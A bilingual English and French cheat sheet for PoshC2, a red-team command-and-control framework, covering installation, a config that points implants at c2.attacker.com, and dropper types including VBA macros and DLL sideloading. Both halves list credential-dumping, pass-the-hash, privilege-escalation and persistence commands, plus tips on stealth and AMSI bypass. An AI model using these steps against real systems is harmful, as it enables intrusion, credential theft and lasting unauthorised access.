PoshC2
C2 basé sur Python avec des implants PowerShell, Python et .NET. Inclut plus de 100 modules de post-exploitation, des payloads en plusieurs étapes et un canal de communication compatible proxy. Python-based C2 with PowerShell, Python, and .NET implants. Includes 100+ post-exploitation modules, staged payloads, and a proxy-aware communication channel.
↗ https://github.com/nettitude/PoshC2Overview
PoshC2 is a proxy-aware C2 framework with implants for PowerShell (Windows), Python (cross-platform), and .NET. Built for red team operations, it includes 100+ post-exploitation modules covering credential dumping, lateral movement, privilege escalation, and persistence.
Installation
Install PoshC2
curl -sSL https://raw.githubusercontent.com/nettitude/PoshC2/main/Install.sh | bash
Configure project
poshc2_new
→ Follow prompts to configure listener, domain, etc.
Starting PoshC2
Start the server
poshc2_server
Start the C2 client (interact with sessions)
poshc2_client
Start a project (configures listener and generates payloads)
poshc2_new
Configuration (project.yml)
# Key settings in project.yml
C2Server: https://c2.attacker.com
BindIP: 0.0.0.0
BindPort: 443
PayloadCommsHost: https://c2.attacker.com
DefaultSleep: 5s
Jitter: 0.2
# Implant types
ImplantType: Dropper_ps1 # PowerShell staged
ImplantType: Dropper_sh # Python/bash for Linux
ImplantType: Dropper_py # Python cross-platform
Generated Payloads
After starting project, payloads are in the project directory:
ls /opt/PoshC2/output/projectname/
Dropper.ps1 # PowerShell dropper (executes in memory)
Dropper.bat # Batch wrapper for PS dropper
payload.txt # Base64 PowerShell one-liner
Dropper.exe # Compiled .NET executable
Dropper.dll # DLL for DLL sideloading
macro.vba # VBA macro for Office documents
Post-Exploitation Modules
# In the C2 client (after implant connects):
# Credential Dumping
Invoke-Mimikatz
Get-HashesWDigest
Invoke-Kerberoast
Invoke-ASREPRoast
# Lateral Movement
Invoke-WMI -ComputerName server01
Invoke-SMBExec -Target server01 -Hash NTLM_HASH
Start-PSSession -ComputerName server01
# Privilege Escalation
Invoke-AllChecks # PowerUp - find misconfigs
Get-SudoGrants # (Linux)
Find-PathHijack
# AD Enumeration
Invoke-BloodHound
Get-DomainAdmins
Invoke-ACLScanner
# Persistence
Add-RegistryRunKey
New-ScheduledTask
Add-StartupDrop
Implant Management
> list # List active implants
> use IMPLANT_ID # Select implant
> help # Show available commands
> shell whoami # Execute shell command
> kill IMPLANT_ID # Terminate implant
> sleep 60 # Change check-in interval
Tips
- PoshC2 uses a proxy-aware HTTP/S channel — works through corporate proxies
- The
Invoke-AllChecks(PowerUp) module is excellent for quick privilege escalation assessment - Use
sleep 300on implants during off-hours to reduce network noise - PoshC2’s payloads are PowerShell-based — may require AMSI bypass on modern Windows
Common commands
# Server management
poshc2_new Create new project
poshc2_server Start C2 server
poshc2_client Connect to C2
# In client:
list List implants
use ID Select implant
shell CMD Execute command
python CMD Execute Python
upload SRC DST Upload file
download SRC DST Download file
sleep SECONDS Change sleep interval
kill Terminate current implant
exit Disconnect from implant
back Return to implant list
Vue d’ensemble
PoshC2 est un framework C2 compatible proxy, avec des implants pour PowerShell (Windows), Python (multiplateforme) et .NET. Conçu pour les opérations de red team, il inclut plus de 100 modules de post-exploitation couvrant le dumping d’identifiants, le mouvement latéral, l’élévation de privilèges et la persistance.
Installation
# Installer PoshC2
curl -sSL https://raw.githubusercontent.com/nettitude/PoshC2/main/Install.sh | bash
# Configurer le projet
poshc2_new
→ Suivez les invites pour configurer le listener, le domaine, etc.
Démarrer PoshC2
# Démarrer le serveur
poshc2_server
# Démarrer le client C2 (interagir avec les sessions)
poshc2_client
# Démarrer un projet (configure le listener et génère les payloads)
poshc2_new
Configuration (project.yml)
# Réglages clés dans project.yml
C2Server: https://c2.attacker.com
BindIP: 0.0.0.0
BindPort: 443
PayloadCommsHost: https://c2.attacker.com
DefaultSleep: 5s
Jitter: 0.2
# Types d'implants
ImplantType: Dropper_ps1 # PowerShell en plusieurs étapes (staged)
ImplantType: Dropper_sh # Python/bash pour Linux
ImplantType: Dropper_py # Python multiplateforme
Payloads générés
Une fois le projet démarré, les payloads se trouvent dans le répertoire du projet :
ls /opt/PoshC2/output/projectname/
Dropper.ps1 # dropper PowerShell (s'exécute en mémoire)
Dropper.bat # wrapper batch pour le dropper PS
payload.txt # one-liner PowerShell en base64
Dropper.exe # exécutable .NET compilé
Dropper.dll # DLL pour le DLL sideloading
macro.vba # macro VBA pour documents Office
Modules de post-exploitation
# Dans le client C2 (une fois l'implant connecté) :
# Dumping d'identifiants
Invoke-Mimikatz
Get-HashesWDigest
Invoke-Kerberoast
Invoke-ASREPRoast
# Mouvement latéral
Invoke-WMI -ComputerName server01
Invoke-SMBExec -Target server01 -Hash NTLM_HASH
Start-PSSession -ComputerName server01
# Élévation de privilèges
Invoke-AllChecks # PowerUp : recherche de mauvaises configurations
Get-SudoGrants # (Linux)
Find-PathHijack
# Énumération AD
Invoke-BloodHound
Get-DomainAdmins
Invoke-ACLScanner
# Persistance
Add-RegistryRunKey
New-ScheduledTask
Add-StartupDrop
Gestion des implants
> list # Lister les implants actifs
> use IMPLANT_ID # Sélectionner un implant
> help # Afficher les commandes disponibles
> shell whoami # Exécuter une commande shell
> kill IMPLANT_ID # Terminer l'implant
> sleep 60 # Changer l'intervalle de check-in
Conseils
- PoshC2 utilise un canal HTTP/S compatible proxy : fonctionne à travers les proxys d’entreprise
- Le module
Invoke-AllChecks(PowerUp) est excellent pour une évaluation rapide de l’élévation de privilèges - Utilisez
sleep 300sur les implants en dehors des heures ouvrées pour réduire le bruit réseau - Les payloads de PoshC2 sont basés sur PowerShell : peuvent nécessiter un contournement AMSI sur les Windows modernes
Commandes courantes
# Server management
poshc2_new Create new project
poshc2_server Start C2 server
poshc2_client Connect to C2
# In client:
list List implants
use ID Select implant
shell CMD Execute command
python CMD Execute Python
upload SRC DST Upload file
download SRC DST Download file
sleep SECONDS Change sleep interval
kill Terminate current implant
exit Disconnect from implant
back Return to implant list